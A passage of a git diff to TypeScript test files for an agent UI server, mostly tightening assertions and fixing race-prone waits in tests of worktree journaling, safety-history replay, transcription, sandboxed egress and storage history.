expect(JSON.parse((await get(f.penelope, "/hygiene/review/details/no-such-card")).body), "REFERENCE_WORKTREE_DETAILS_UNKNOWN_IS_GONE").toEqual({ status: "gone" }); for (const secret of [...SECRETS, f.telemachus.id]) - expect((changed.body + gone.body).includes(secret), `REFERENCE_WORKTREE_DETAILS_NO_VALUES ${secret}`).toBe(false); + expect(changed.body + gone.body, `REFERENCE_WORKTREE_DETAILS_NO_VALUES ${secret}`).not.toContain(secret); }); test("a removed owning principal reads as removed", async () => { diff --git a/packages/ui-server/tests/reference-worktree-journal.test.ts b/packages/ui-server/tests/reference-worktree-journal.test.ts index 8feb350796..39b5a41fd0 100644 --- a/packages/ui-server/tests/reference-worktree-journal.test.ts +++ b/packages/ui-server/tests/reference-worktree-journal.test.ts @@ -58,7 +58,7 @@ test("intentional worktree edits are journaled as workspace content of the holdi const worktreeRows = rows.filter(row => row.scope === REFERENCE_WORKTREE_JOURNAL_SCOPE); expect(worktreeRows.map(row => row.path).sort(), "REFERENCE_WORKTREE_EDITS_JOURNALED").toEqual([ referenceWorktreeJournalPath(tree.id, "build/out.txt"), referenceWorktreeJournalPath(tree.id, "odyssey/book-1.md"), referenceWorktreeJournalPath(tree.id, "odyssey/book-2.md")]); - expect(worktreeRows.every(row => row.class === "content" && row.actor === "agent"), "REFERENCE_WORKTREE_EDITS_ARE_CONTENT").toBe(true); + expect(worktreeRows.map(row => ({ class: row.class, actor: row.actor })), "REFERENCE_WORKTREE_EDITS_ARE_CONTENT").toEqual(Array(3).fill({ class: "content", actor: "agent" })); const book = worktreeRows.find(row => row.path.endsWith("book-1.md"))!; expect(JSON.parse(book.after_json!), "REFERENCE_WORKTREE_VERSION_RETAINED").toMatchObject({ kind: "file", ignored: false, hash: expect.any(String) }); expect(JSON.parse(worktreeRows.find(row => row.path.endsWith("out.txt"))!.after_json!), "REFERENCE_WORKTREE_GITIGNORE_RESPECTED").toMatchObject({ ignored: true }); @@ -104,7 +104,7 @@ test("a worktree capture that fails leaves its holding turn partial and stopped, f.pool.poolDelta = delta; expect(f.journal.summary("turn-ithaca").state, "REFERENCE_WORKTREE_FAILED_CAPTURE_PARTIAL").toBe("partial"); expect(f.stopped.get("turn-ithaca")?.message, "REFERENCE_WORKTREE_FAILED_CAPTURE_STOPS_HOLDER").toMatch(/unreadable/); - expect(f.stopped.has("turn-other"), "REFERENCE_WORKTREE_FAILURE_CONFINED").toBe(false); + expect(f.stopped.get("turn-other"), "REFERENCE_WORKTREE_FAILURE_CONFINED").toBeUndefined(); expect(f.journal.summary("turn-other").state).toBe("recording"); expect(f.journal.worktrees("turn-ithaca"), "REFERENCE_WORKTREE_FAILED_ROOT_DROPPED").toEqual([]); expect(f.facts.get("turn-ithaca"), "REFERENCE_WORKTREE_PARTIAL_FACTS_NOT_HEADROOM").toMatchObject({ partial: true }); @@ -146,7 +146,7 @@ test("ended worktree cleanup stays visible and retries until confirmed without b for (let pass = 0; pass < 3; pass++) { const before = attempts; expect(timers.pending.size, "ENDED_WORKTREE_HAS_RETRY_OWNER").toBe(1); - expect(timers.handles.every(handle => handle.unrefed), "CLEANUP_RETRIES_DO_NOT_KEEP_HOST_ALIVE").toBe(true); + expect(timers.handles.filter(handle => !handle.unrefed), "CLEANUP_RETRIES_DO_NOT_KEEP_HOST_ALIVE").toEqual([]); timers.fire(); await f.journal.releasesSettled(); expect(attempts, "ENDED_WORKTREE_RETRIES_WHILE_IDLE").toBe(before + 1); expect(f.journal.cleanupStatus().retained).toEqual(retained); @@ -237,7 +237,7 @@ test("failed worktree capture hands all unreleased checkpoints to cleanup and ke await f.journal.observe(); await f.journal.idle(); expect(f.journal.worktrees("turn-ithaca")).toEqual([]); expect(f.journal.summary("turn-ithaca").state).toBe("partial"); - expect(f.stopped.has("turn-other")).toBe(false); + expect(f.stopped.get("turn-other")).toBeUndefined(); expect(f.journal.summary("turn-other").state).toBe("recording"); expect(f.ledger.size).toBe(2); expect(f.journal.cleanupStatus().retained.failed, "FAILED_CAPTURE_ALL_RETAINED_ROOTS_VISIBLE").toBe(2); diff --git a/packages/ui-server/tests/reference-writes-offloop.test.ts b/packages/ui-server/tests/reference-writes-offloop.test.ts index 7ddcde8511..46ec7fd6da 100644 --- a/packages/ui-server/tests/reference-writes-offloop.test.ts +++ b/packages/ui-server/tests/reference-writes-offloop.test.ts @@ -228,7 +228,7 @@ test("an admitted renewal commits before the ended turn's release and generation const releasing = f.worktrees.release({ worktreeId: tree.id, principalId: PRINCIPAL }); const closing = f.worktrees.closeGeneration(generation.id); await pending(releasing, "REFERENCE_END_RELEASE_QUEUED_BEHIND_ADMITTED_RENEWAL"); - expect(f.pool.events.some(event => event.operation === "access-close"), "REFERENCE_END_PARKING_QUEUED_BEHIND_ADMITTED_RENEWAL").toBe(false); + expect(f.pool.events.map(event => event.operation), "REFERENCE_END_PARKING_QUEUED_BEHIND_ADMITTED_RENEWAL").not.toContain("access-close"); expect(f.read(tree.id)).toMatchObject({ state: "active", accessedAt: AT, releasedAt: null, generation: generation.id }); expect(await renewal, "REFERENCE_ADMITTED_RENEWAL_COMMITS").toMatchObject({ ok: true, worktree: { lastActivityAt: new Date(renewedAt).toISOString(), state: "active" } }); expect(await late, "REFERENCE_TOOLS_ENDED_TURN_RENEW_FENCED").toMatchObject({ ok: false, code: "unavailable" }); @@ -310,7 +310,7 @@ test("revocation sees a first private publication submitted before it and withdr await revoking; await publication; expect(f.db.query("SELECT root_id FROM reference_sources WHERE root_id IS NOT NULL").all(), "REFERENCE_REVOCATION_WITHDRAWS_FIRST_PUBLICATION").toEqual([]); expect(f.db.query("SELECT id FROM reference_roots").all(), "REFERENCE_REVOKED_ROOT_RELEASE_COMMITTED").toEqual([]); - expect(f.pool.events.some(event => event.operation === "unpublish"), "REFERENCE_REVOKED_SOURCE_UNPUBLISHED").toBe(true); + expect(f.pool.events.map(event => event.operation), "REFERENCE_REVOKED_SOURCE_UNPUBLISHED").toContain("unpublish"); } finally { await f.close(); } }); diff --git a/packages/ui-server/tests/runtime-boot.test.ts b/packages/ui-server/tests/runtime-boot.test.ts index 94159d7803..e1b3207504 100644 --- a/packages/ui-server/tests/runtime-boot.test.ts +++ b/packages/ui-server/tests/runtime-boot.test.ts @@ -224,7 +224,7 @@ describe("backend-owned compatibility checks", () => { const status = await (await t.fetch("/api/status")).json() as { runtime: { boot: unknown[] } }; expect(status.runtime.boot).toHaveLength(1); expect(status.runtime.boot[0]).toMatchObject({ backendId: "claude", runtime: { version: "2.1.999" }, sdk: { version: MEASURED_RUNTIME.agentSdk }, measured: { matches: false } }); - expect(observability.logs.find({ scope: "agent", severity: "WARN" }).some(log => String(log.body).includes("not the one its behaviour was measured against"))).toBe(true); + expect(observability.logs.find({ scope: "agent", severity: "WARN" }).map(log => String(log.body))).toContainEqual(expect.stringContaining("not the one its behaviour was measured against")); } finally { await t.teardown(); } }); test("Pi startup and provider construction report SDK without requiring an inactive Claude executable", async () => { diff --git a/packages/ui-server/tests/safety-history-review.test.ts b/packages/ui-server/tests/safety-history-review.test.ts index 440b347699..39103650e1 100644 --- a/packages/ui-server/tests/safety-history-review.test.ts +++ b/packages/ui-server/tests/safety-history-review.test.ts @@ -22,6 +22,14 @@ async function scout(f: Fixture) { payload: { source: "web_fetch", tool: "WebFetch", detail: null, occurrence: c } }); return c; } +/** + * Run a safety write while every safety read waits behind the fixture's hold, so + * no poll sees the row with its local pending latch still set (#3723). + */ +async function settled(f: Fixture, write: () => Promise): Promise { + const quiet = f.hold(); + try { return await write(); } finally { quiet.release(); } +} function reader() { const chat = createStore(() => ({ activeSessionId: "ithaca" })), safety = createSafetyStore(), sent: ClientMessage[] = []; const client = createSafetyClient({ stores: { chat, safety } } as unknown as BrainUiServices, message => { sent.push(message); return true; }); @@ -71,7 +79,7 @@ test("real WS subscriptions resync on alias adoption even before the safety bind ws.send({ type: "safety_subscribe", version: 1, requestId: "old-anchor", identity: initial.identity, afterRevision: initial.highWater, snapshotId: initial.snapshotId }); expect(await ws.until(m => m.type === "safety_unavailable")).toMatchObject({ requestId: "old-anchor", reason: "gap" }); ws.send({ type: "safety_subscribe", version: 1, requestId: "new-anchor", identity: fresh.identity, afterRevision: fresh.highWater, snapshotId: fresh.snapshotId }); - await f.add("B"); f.history.poll(); + await settled(f, () => f.add("B")); f.history.poll(); const update = await ws.until(m => m.type === "safety_update" && m.update.projection.unresolvedCount === 3); expect(update.type === "safety_update" && update.update.projection.unresolvedCount).toBe(3); await f.writes.bind("scout-turn", "ithaca"); @@ -137,8 +145,8 @@ test("every production taint source including Apify survives authenticated snaps if (initial.type !== "safety_history") throw new Error("Missing source snapshot"); ws.send({ type: "safety_subscribe", version: 1, requestId: "sources", identity: initial.page.identity, afterRevision: initial.page.highWater, snapshotId: initial.page.snapshotId }); const observed = occurrence(f.bindingId, "compute_input", "later-apify", "finalized"); - await f.writes.record({ kind: "taint", sessionId: "ithaca", turnId: "voyage", at: 0, actor: "interactive", model: null, profile: "governed", - payload: { source: "apify_result", tool: "brain_apify_results", detail: null, occurrence: observed } }); + await settled(f, () => f.writes.record({ kind: "taint", sessionId: "ithaca", turnId: "voyage", at: 0, actor: "interactive", model: null, profile: "governed", + payload: { source: "apify_result", tool: "brain_apify_results", detail: null, occurrence: observed } })); f.history.poll(); const delta = await ws.until(m => m.type === "safety_unavailable" || m.type === "safety_update" && m.update.records.some(r => r.id === observed.id)); expect(delta.type, "SUPPORTED_APIFY_DELTA_MUST_REMAIN_READABLE").toBe("safety_update"); diff --git a/packages/ui-server/tests/safety-history.test.ts b/packages/ui-server/tests/safety-history.test.ts index 2026c575bb..d3cdff4597 100644 --- a/packages/ui-server/tests/safety-history.test.ts +++ b/packages/ui-server/tests/safety-history.test.ts @@ -39,8 +39,14 @@ test("real WS replay and contiguous updates survive duplicate/reordered delivery client.send({type:"safety_subscribe",version:1,requestId:"subscription",identity:frame.page.identity,afterRevision:frame.page.highWater,snapshotId:frame.page.snapshotId}); const updates:import("@schlessera/brain-ui-sdk/protocol").SafetyUpdate[]=[]; const through=async(count:number)=>{for(;;){const frame=await client.until(m=>m.type==="safety_update");if(frame.type!=="safety_update")throw new Error("Missing update");updates.push(frame.update);if(frame.update.projection.unresolvedCount===count&&frame.update.projection.pendingCount===0)return frame.update;}}; - await f.add("B");f.history.poll();const one=await through(2); - await f.add("C");f.history.poll();const two=await through(3); + // A poll that reads a new row before its write's local pending latch clears + // reports pendingCount 1; the next poll at the same revision reports 0, and + // that changed projection closes the subscription with gap (#3723). Every + // read, the subscription's own and the sweep's included, waits behind the + // hold until the write and its latch have settled. + const settledAdd=async(name:string)=>{const quiet=f.hold();try{await f.add(name);}finally{quiet.release();}}; + await settledAdd("B");f.history.poll();const one=await through(2); + await settledAdd("C");f.history.poll();const two=await through(3); const store=createSafetyStore();store.getState().reset(true);store.getState().begin("replay");expect(store.getState().page("replay",frame.page)).toBe(true); for(const update of updates)expect(store.getState().update(update)).toBe(true); expect(store.getState().update(one)).toBe(true); diff --git a/packages/ui-server/tests/saved-transcription.test.ts b/packages/ui-server/tests/saved-transcription.test.ts index d5f8c1efd3..9786d23776 100644 --- a/packages/ui-server/tests/saved-transcription.test.ts +++ b/packages/ui-server/tests/saved-transcription.test.ts @@ -29,12 +29,14 @@ test("concurrent real route requests dispatch exactly once and repeated done reu const capabilities = await t.fetch("/api/voice/capabilities"); expect((await capabilities.json()).capabilities.savedAudio).toBe(true); expect(calls).toBe(0); const first = t.fetch(path(id), put()); - await Bun.sleep(20); + // The first request holds the claim once its provider call is in flight. + await providerCalled(() => calls); + expect(calls, "the first request dispatched").toBe(1); const pending = Array.from({ length: 8 }, () => t.fetch(path(id), put())); - await providerCalled(() => calls); await Bun.sleep(50); - expect(calls, "only one provider call under concurrent PUTs").toBe(1); + // Every concurrent PUT has been answered: none of them can still dispatch. const repeats = await Promise.all(pending); expect(repeats.map(r => r.status)).toEqual(Array(8).fill(409)); + expect(calls, "only one provider call under concurrent PUTs").toBe(1); expect((await (await t.fetch(path(id))).json()).status).toBe("transcribing"); release(); const done = await (await first).json(); expect(done.status).toBe("done"); expect(done.text).toBe("Odysseus reaches Ithaca."); @@ -156,9 +158,11 @@ test("agent principals cannot read or trigger transcription; revocation during u expect(response.status, `agent ${method} refused`).toBe(403); } let close!: () => void; - const body = new ReadableStream({ start(c) { c.enqueue(audio); close = () => c.close(); } }); + // The route asks for more of the body only after it has read the first chunk. + const reading = Promise.withResolvers(); + const body = new ReadableStream({ start(c) { c.enqueue(audio); close = () => c.close(); }, pull() { reading.resolve(); } }); const pending = t.fetch(path(id), { ...put(audio, { cookie: ownerCookie }), body, duplex: "half" } as RequestInit); - await Bun.sleep(20); revokePrincipal(t.app.db, owner.id, Date.now()); close(); + await reading.promise; revokePrincipal(t.app.db, owner.id, Date.now()); close(); expect((await pending).status, "recheck after reading body").toBe(401); expect(calls).toBe(0); expect(t.app.db.query("SELECT * FROM recording_transcriptions").all()).toHaveLength(0); } finally { await t.close(); } diff --git a/packages/ui-server/tests/schedule-cli.test.ts b/packages/ui-server/tests/schedule-cli.test.ts index ea3cbd0cbc..253f865477 100644 --- a/packages/ui-server/tests/schedule-cli.test.ts +++ b/packages/ui-server/tests/schedule-cli.test.ts @@ -106,7 +106,9 @@ test("the operator reviews and approves on a terminal; the host record and file expect(replay).toMatchObject({ exit: 0, body: { ok: true, created: false, task: { id } } }); const listed = await run(["list"], ownerFile); expect(listed.exit).toBe(0); - expect(listed.body).toEqual({ ok: true, tasks: [replay.body.task], nextCursor: null }); + // The file's host is shared, so other cases' tasks may be listed too: this one is listed exactly once, as the receipt says. + expect(listed.body).toMatchObject({ ok: true, nextCursor: null }); + expect(listed.body.tasks.filter((task: { id: string }) => task.id === id)).toEqual([replay.body.task]); expect(startedTurns).toBe(0); expect(existsSync(join(fixture.brainPath, ".brain-index", "brain.db"))).toBe(false); }); diff --git a/packages/ui-server/tests/session-cost-persistence.test.ts b/packages/ui-server/tests/session-cost-persistence.test.ts index 72dc7b2545..0ca6099fe8 100644 --- a/packages/ui-server/tests/session-cost-persistence.test.ts +++ b/packages/ui-server/tests/session-cost-persistence.test.ts @@ -1,24 +1,23 @@ import { describe, test, expect, beforeEach, afterEach, spyOn } from "bun:test"; import { Database } from "bun:sqlite"; -import { existsSync, unlinkSync } from "fs"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; import { createUiDb } from "../src/db/client"; import { createSessionCatalog } from "../src/ws/session-catalog"; -const TEST_DB = `/tmp/brain-ui-cost-test-${process.pid}.db`; - describe("session cost persistence", () => { - let db: Database; + let db: Database, root: string; + // A private directory per test: no fixed path another run or file can share. beforeEach(() => { - if (existsSync(TEST_DB)) unlinkSync(TEST_DB); - db = createUiDb(TEST_DB); + root = mkdtempSync(join(tmpdir(), "odysseus-session-cost-")); + db = createUiDb(join(root, "ui.db")); }); afterEach(() => { db.close(); - for (const s of ["", "-shm", "-wal"]) { - if (existsSync(TEST_DB + s)) unlinkSync(TEST_DB + s); - } + rmSync(root, { recursive: true, force: true }); }); function upsertSession(id: string, title: string, costUsd: number, numTurns: number) { diff --git a/packages/ui-server/tests/session-start-reliability.test.ts b/packages/ui-server/tests/session-start-reliability.test.ts index 0e693cfbe3..32edffd56f 100644 --- a/packages/ui-server/tests/session-start-reliability.test.ts +++ b/packages/ui-server/tests/session-start-reliability.test.ts @@ -62,7 +62,7 @@ test("messages arriving during routing become ordered turns in one reserved sess await handleClientMessage(host, ws, { type: "chat_message", text: "second", sessionId: "same", client: { formFactor: "phone" } }, connection); expect(host.coordinator.startingSessions).toBe(1); expect(host.coordinator.startingBySession.get("same")?.queue).toHaveLength(1); - expect(sent.some(f => f.type === "status" && f.status === "queued")).toBe(true); + expect(sent).toContainEqual(expect.objectContaining({ type: "status", status: "queued" })); routing.release(); await until(() => started.length === 1); expect(host.coordinator.running.size).toBe(1); @@ -93,10 +93,10 @@ test("routing queues enforce the same depth cap and release a failed reservation await handleClientMessage(host, ws, { type: "chat_message", text: "first", sessionId: "same" }, connection); for (let i = 0; i < 51; i++) await handleClientMessage(host, ws, { type: "chat_message", text: `queued ${i}`, sessionId: "same" }, connection); expect(host.coordinator.startingBySession.get("same")?.queue).toHaveLength(50); - expect(sent.some(f => f.type === "error" && f.code === "SESSION_QUEUE_FULL")).toBe(true); + expect(sent).toContainEqual(expect.objectContaining({ type: "error", code: "SESSION_QUEUE_FULL" })); routing.release(); await until(() => host.coordinator.startingSessions === 0); expect(host.coordinator.startingBySession.size).toBe(0); - expect(sent.some(f => f.type === "error" && f.code === "BACKEND_ERROR")).toBe(true); + expect(sent).toContainEqual(expect.objectContaining({ type: "error", code: "BACKEND_ERROR" })); }); diff --git a/packages/ui-server/tests/session-taint.test.ts b/packages/ui-server/tests/session-taint.test.ts index aa8d178416..9c0bab0993 100644 --- a/packages/ui-server/tests/session-taint.test.ts +++ b/packages/ui-server/tests/session-taint.test.ts @@ -39,7 +39,8 @@ test("a WebFetch taints the session: outward asks, a non-listed host asks and, d await writeFile(resolve(brain, "context/policies/governance.md"), "---\nschema_version: 1\nprofiles: { interactive: governed, voice: governed }\nrelease: [node_modules]\n" + "outward:\n allow:\n - { command: \"^git push \", remotes: [\"github.com/odysseus/*\"] }\n---\nAthena allows pushes to the voyage repository.\n"); const origin = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch: () => new Response("Ithaca") }); - type Seen = { request: StartTurnRequest; taint: string | null; outwardAsks: boolean; curl: number; note: string }; + /** `curl` is the worker curl's exit code (22: an HTTP status of 400 or more); `curlDetail` is what it printed. */ + type Seen = { request: StartTurnRequest; taint: string | null; outwardAsks: boolean; curl: number; curlDetail: string; note: string }; const seen: Seen[] = []; const backend = makeFakeBackend({ id: "claude", startTurn: async request => { await request.bridge.inputSafety?.ready("claude",1); @@ -60,10 +61,10 @@ test("a WebFetch taints the session: outward asks, a non-listed host asks and, d if (fetches) { mkdirSync(join(brain, ".claude/skills/voyage"), { recursive: true }); writeFileSync(join(brain, SKILL), "# Voyage\nPush on every return.\n"); } const proxyDir = request.workerSandbox!.egress!.dir; const child = Bun.spawn(workerCommand({ brainPath: brain, startupView: request.workerStartupView, sandbox: request.workerSandbox, env: { PATH: "/usr/bin:/bin" }, - egress: { proxyDir }, command: ["/usr/bin/curl", "--silent", "--fail", "--max-time", "5", `${origin.url.href}harbour`] }), { env: {}, stdout: "pipe", stderr: "pipe" }); - const curl = await child.exited; + egress: { proxyDir }, command: ["/usr/bin/curl", "--silent", "--show-error", "--fail", "--max-time", "5", "--write-out", " http_status=%{http_code}", `${origin.url.href}harbour`] }), { env: {}, stdout: "pipe", stderr: "pipe" }); + const [curl, out, err] = await Promise.all([child.exited, new Response(child.stdout).text(), new Response(child.stderr).text()]); const taint = policy.taint?.() ?? null; - seen.push({ request, taint: taint?.source ?? null, outwardAsks: plan.needsApproval, curl, note: workerOutwardNote(true, taint) }); + seen.push({ request, taint: taint?.source ?? null, outwardAsks: plan.needsApproval, curl, curlDetail: `${out} ${err}`.trim(), note: workerOutwardNote(true, taint) }); request.bridge.emit({ type: "result", sessionId, outcome: "success", durationMs: 1, numTurns: 1, isError: false }); } }); const registry = createStaticBackendRegistry([backend], backend.id); @@ -94,7 +95,8 @@ test("a WebFetch taints the session: outward asks, a non-listed host asks and, d const control = await chat("Odysseus checks the harbour."); const controlSession = control.request.sessionId ?? "voyage-0"; expect(control.outwardAsks, "G6_CLEAN_SESSION_POLICY_ALLOW_APPLIES").toBe(false); - expect(control.curl, "G6_CLEAN_SESSION_EGRESS_UNCHANGED").toBe(0); + // A failure names the HTTP status and curl's own error, so a refusal is attributable (#3763). + expect(control.curl, `G6_CLEAN_SESSION_EGRESS_UNCHANGED ${control.curlDetail}`).toBe(0); expect(events(controlSession, "outward_action")[0]).toMatchObject({ payload: { tainted: false, decision: "policy_allowed" } }); // With the proxy, that connection itself is untrusted input for later calls. expect(events(controlSession, "taint").map(event => event.payload)).toMatchObject([{ source: "egress_connection", tool: null, detail: `GET 127.0.0.1:${origin.port}` }]); diff --git a/packages/ui-server/tests/share-routes.test.ts b/packages/ui-server/tests/share-routes.test.ts index 0909f4c0ce..ce6ada66dd 100644 --- a/packages/ui-server/tests/share-routes.test.ts +++ b/packages/ui-server/tests/share-routes.test.ts @@ -57,7 +57,7 @@ describe("POST /api/share", () => { const body = await response.json(); expect(response.status).toBe(201); - expect(body.dir.startsWith(`${SHARE_STAGING_DIR}/`)).toBe(true); + expect(body.dir).toStartWith(`${SHARE_STAGING_DIR}/`); expect(body.files).toEqual([]); expect(body.title).toBe("A page"); expect(body.url).toBe("https://example.com/post"); @@ -414,8 +414,8 @@ describe("share staging", () => { for (const raw of hostile) { const name = sanitizeFileName(raw, "text/plain"); expect(name).toMatch(/^[\p{L}\p{N}\p{M}._-]+$/u); - expect(name.startsWith("-")).toBe(false); - expect(name.startsWith(".")).toBe(false); + expect(name).not.toStartWith("-"); + expect(name).not.toStartWith("."); } }); @@ -451,18 +451,18 @@ describe("share staging", () => { test("a long name is bounded by BYTES and keeps its extension", () => { const ascii = sanitizeFileName(`${"a".repeat(400)}.jpg`, "image/jpeg"); expect(Buffer.byteLength(ascii, "utf-8")).toBeLessThanOrEqual(100); - expect(ascii.endsWith(".jpg")).toBe(true); + expect(ascii).toEndWith(".jpg"); // Three bytes per character: counting characters would produce a name the // filesystem refuses with ENAMETOOLONG. const cjk = sanitizeFileName(`${"\u8a18".repeat(200)}.jpg`, "image/jpeg"); expect(Buffer.byteLength(cjk, "utf-8")).toBeLessThanOrEqual(100); - expect(cjk.endsWith(".jpg")).toBe(true); + expect(cjk).toEndWith(".jpg"); // And no surrogate pair is cut in half. const emoji = sanitizeFileName(`${"\u{1f4a1}".repeat(100)}.png`, "image/png"); expect(Buffer.byteLength(emoji, "utf-8")).toBeLessThanOrEqual(100); - expect(emoji.includes("\ufffd")).toBe(false); + expect(emoji).not.toContain("\ufffd"); }); test("a part that lies about its size is caught on the decoded bytes", async () => { @@ -503,7 +503,7 @@ describe("share staging", () => { expect(await readFile(join(BRAIN_ROOT, result.files[0]!.path), "utf8")).toBe("x"); expect(entries).toEqual([result.id]); - expect(entries.some((e) => e.includes("partial"))).toBe(false); + expect(entries.filter((e) => e.includes("partial"))).toEqual([]); }); test("a url the agent must not dereference is demoted to text", async () => { diff --git a/packages/ui-server/tests/shrink.test.ts b/packages/ui-server/tests/shrink.test.ts index 80539f4d83..8cc0ec6aa7 100644 --- a/packages/ui-server/tests/shrink.test.ts +++ b/packages/ui-server/tests/shrink.test.ts @@ -36,7 +36,7 @@ describe("shrinkForReplication", () => { expect(shrunk.output.length).toBeLessThan(huge.length); expect(shrunk.output).toContain("chars elided"); // Truncation is head-preserving. - expect(shrunk.output.startsWith("aaaa")).toBe(true); + expect(shrunk.output).toStartWith("aaaa"); }); test("head-clips an oversized array of many small blocks", () => { @@ -49,7 +49,7 @@ describe("shrinkForReplication", () => { expect(JSON.stringify(shrunk).length).toBeLessThanOrEqual(FRAME_BUDGET_BYTES); expect(shrunk.content.length).toBeLessThan(content.length); // Typed arrays must contain only their original element type. - expect(shrunk.content.every((block) => typeof block === "object")).toBe(true); + expect(shrunk.content.filter((block) => typeof block !== "object")).toEqual([]); // Head blocks are preserved in order. expect(shrunk.content[0]).toEqual({ type: "text", text: "block-0" }); }); diff --git a/packages/ui-server/tests/storage-collection.test.ts b/packages/ui-server/tests/storage-collection.test.ts index 255a8260a2..c5c4935ba1 100644 --- a/packages/ui-server/tests/storage-collection.test.ts +++ b/packages/ui-server/tests/storage-collection.test.ts @@ -23,7 +23,7 @@ test("real trusted metadata reader and exact app stores share one object union a { path: dbPath + "-wal", label: "WAL", category: "database", owner: "app", recursive: false }, ] }, "scan-odysseus", new AbortController().signal); expect(result.summary.errors, "STORAGE_PUBLIC_READER_AVAILABLE").toEqual([]); - expect(result.entries.some(entry => entry.name === "Troy.PDF")).toBe(true); + expect(result.entries.map(entry => entry.name)).toContain("Troy.PDF"); const troy = result.entries.find(entry => entry.name === "Troy.PDF")!, alias = result.entries.find(entry => entry.name === "chart.pdf")!; expect(troy.objectId, "STORAGE_CROSS_OWNER_OBJECT_IDENTITY").toBe(alias.objectId); expect(result.summary.totals.all.logical! < result.summary.totals.brain.logical! + result.summary.totals.app.logical!, "STORAGE_CROSS_OWNER_UNION").toBe(true); @@ -90,7 +90,7 @@ test("separate real tmpfs capacities remain separate and unknown stores never lo writeFileSync(join(other, "Ithaca.pdf"), "chart"); const result = await collectStorage({ brainPath: f.brain, salt: "odysseus", stores: [{ path: other, label: "Memory store", category: "temporary", owner: "app", recursive: true }], unavailable: [{ label: "Backup", category: "backup", owner: "operator", reason: "unavailable" }] }, "separate", new AbortController().signal); expect(result.summary.capacities, "STORAGE_SEPARATE_CAPACITIES").toHaveLength(2); - expect(result.summary.capacities.every(value => value.identity === "resolved")).toBe(true); + expect(result.summary.capacities.map(value => value.identity)).toEqual(["resolved", "resolved"]); expect(result.summary.totals.operator.logical, "STORAGE_UNKNOWN_OWNER_NOT_ZERO").toBeNull(); } finally { rmSync(other, { recursive: true, force: true }); f.close(); } }); diff --git a/packages/ui-server/tests/storage-history-model.test.ts b/packages/ui-server/tests/storage-history-model.test.ts index 6ae51761bb..5aa268ede2 100644 --- a/packages/ui-server/tests/storage-history-model.test.ts +++ b/packages/ui-server/tests/storage-history-model.test.ts @@ -18,7 +18,7 @@ function steady(days = 30, available: (index: number) => number = index => 900_0 test("one observation updates all tiers, Monday weeks and actual endpoint timestamps", () => { const payload = retainAggregate(empty(), observation(at + 10 * HOUR)); expect(payload.samples.map(row => row[1])).toEqual([0, 1, 2]); - expect(payload.samples.every(row => row[3] === at + 10 * HOUR)).toBe(true); + expect(payload.samples.filter(row => row[3] !== at + 10 * HOUR)).toEqual([]); expect(new Date(bucketStart(2, bucket(2, at))).getUTCDay()).toBe(1); expect(payload.samples.map(row => row[2])).toEqual([0, 1, 1]); }); @@ -32,7 +32,7 @@ test("186 full records remain bounded by tier age, slots, dictionaries and canon expect(payload.samples.length, "STORAGE_HISTORY_186_SLOTS").toBe(186); expect(([0, 1, 2] as const).map(tier => payload.samples.filter(row => row[1] === tier).length)).toEqual([64, 90, 32]); const latest = payload.samples.at(-1)![3]; - expect(payload.samples.every(row => bucket(row[1], row[3]) >= bucket(row[1], latest) - HISTORY_LIMITS.slots[row[1]] + 1)).toBe(true); + expect(payload.samples.filter(row => bucket(row[1], row[3]) < bucket(row[1], latest) - HISTORY_LIMITS.slots[row[1]] + 1)).toEqual([]); expect(jsonBytes(payload)).toBeLessThanOrEqual(262144); expect(jsonBytes(payload.metadata)).toBeLessThanOrEqual(40960); expect(Object.keys(payload.metadata.samples)).toHaveLength(1); @@ -51,9 +51,9 @@ test("worst safe numeric fields obey per-sample and combined metadata limits", ( test("partial refresh preserves complete endpoints but makes bucket gaps sticky", () => { let payload = retainAggregate(empty(), observation(at)); payload = retainAggregate(payload, observation(at + HOUR, 100_000, true)); - expect(payload.samples.every(row => row[3] === at && row[2] === 1 && row[7] === 0)).toBe(true); + expect(payload.samples.filter(row => !(row[3] === at && row[2] === 1 && row[7] === 0))).toEqual([]); payload = retainAggregate(payload, observation(at + 2 * HOUR)); - expect(payload.samples.every(row => row[3] === at + 2 * HOUR && row[2] === 1)).toBe(true); + expect(payload.samples.filter(row => !(row[3] === at + 2 * HOUR && row[2] === 1))).toEqual([]); }); test("missed final intervals, outages and scope changes mark actual points without filling gaps", () => { let payload = retainAggregate(empty(), observation(at)); @@ -62,7 +62,7 @@ test("missed final intervals, outages and scope changes mark actual points witho expect(payload.samples.find(row => row[1] === 1 && row[3] === at)?.[2]).toBe(1); const changed = observation(at + 2 * DAY + RECENT); changed.descriptor[1] = hashScope("Troy stores"); payload = retainAggregate(payload, changed); - expect(payload.samples.filter(row => row[3] === changed.at).every(row => row[2] === 1)).toBe(true); + expect(payload.samples.filter(row => row[3] === changed.at && row[2] !== 1)).toEqual([]); const later = retainAggregate(payload, observation(at + 300 * DAY)); expect(later.samples).toHaveLength(3); }); diff --git a/packages/ui-server/tests/storage-history-store.test.ts b/packages/ui-server/tests/storage-history-store.test.ts index 645fc89468..c1e0840cee 100644 --- a/packages/ui-server/tests/storage-history-store.test.ts +++ b/packages/ui-server/tests/storage-history-store.test.ts @@ -26,7 +26,7 @@ test("SQLite migrations retain tiers and stable opaque identity across reopen; o expect(revision(), "STORAGE_HISTORY_ONE_TRANSACTION_PER_MINUTE").toBe(1); expect(f.history.status().pending).toBe(true); f.advance(start + 60_000); expect(f.history.flush()).toBe(true); expect(revision()).toBe(2); - expect(f.history.read()!.samples.every(row => row[3] === start + 59_000)).toBe(true); + expect(f.history.read()!.samples.filter(row => row[3] !== start + 59_000)).toEqual([]); f.history.close(); const db = createUiDb(f.path); databases.push(db); const reopened = createStorageHistory(db, f.root, { now: () => start + 60_001 }); @@ -68,7 +68,7 @@ test("failed refresh and clock reversal never manufacture new endpoints or clear expect(f.history.read()!.metadata.state.pressures[0]!.severity).toBe("critical"); f.advance(start + 60_000); f.history.failure(); const after = f.history.read()!; - expect(after.samples.every(row => row[3] === start && row[2] === 1)).toBe(true); + expect(after.samples.filter(row => !(row[3] === start && row[2] === 1))).toEqual([]); expect(after.metadata.state.pressures[0]!.severity).toBe("critical"); expect(after.metadata.state.pressures[0]!.supportAt).toBeNull(); f.advance(start - 1); f.history.offer(aggregate(start - 1)); @@ -127,7 +127,7 @@ test("an intervening buffered failure resets recovery even when the newest pendi f.advance(start + 120_000); f.history.flush(); const result = f.history.read()!; expect(result.metadata.state.pressures[0], "STORAGE_PENDING_FAILURE_RESETS_PAIR").toMatchObject({ severity: "critical", 